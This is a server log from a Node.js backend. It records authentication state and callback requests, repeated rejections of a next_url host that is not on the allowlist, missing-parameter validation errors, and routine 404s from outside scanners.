/api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758711833920_50d813ejt', response: { statusCode: 500 } } ℹ️ [INFO] 2025-09-24T11:08:45.074Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758712125073_9bz1sg77c', response: { statusCode: 200 } } ❌ [ERROR] 2025-09-24T11:09:08.000Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://dev4.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758712147999_qawqb01l3' } ❌ [ERROR] 2025-09-24T11:09:08.001Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758712147999_qawqb01l3', response: { statusCode: 500 } } ❌ [ERROR] 2025-09-24T11:09:55.041Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758712195039_lvmz6uq2a', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T11:15:39.886Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:45.135.193.100', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758712539885_sn4n0i98z', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T11:20:13.564Z HTTP GET /https://'+location.hostname+': - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:89.248.168.227', method: 'GET', url: "/https://'+location.hostname+':", userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36' }, requestId: 'req_1758712813562_xltodt85j', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T12:17:08.177Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://dev4.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758716228176_gfdvb3lcc' } ❌ [ERROR] 2025-09-24T12:17:08.178Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758716228176_gfdvb3lcc', response: { statusCode: 500 } } ❌ [ERROR] 2025-09-24T12:17:08.996Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://dev4.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758716228996_kiheo6j0v' } ❌ [ERROR] 2025-09-24T12:17:08.997Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758716228996_kiheo6j0v', response: { statusCode: 500 } } ❌ [ERROR] 2025-09-24T12:18:01.137Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://dev4.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758716281136_8tkgkj46g' } ❌ [ERROR] 2025-09-24T12:18:01.137Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758716281136_8tkgkj46g', response: { statusCode: 500 } } ❌ [ERROR] 2025-09-24T12:22:16.688Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://dev4.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758716536666_mh3vj7or9' } ❌ [ERROR] 2025-09-24T12:22:16.697Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 23, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758716536666_mh3vj7or9', response: { statusCode: 500 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '46.101.140.177', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-24T12:24:04.384Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' }, requestId: 'req_1758716644366_bnu82xuil' } ❌ [ERROR] 2025-09-24T12:24:04.399Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 28, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' }, requestId: 'req_1758716644366_bnu82xuil', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-24T12:27:06.661Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758716826659_t41xdd94h', response: { statusCode: 404 } }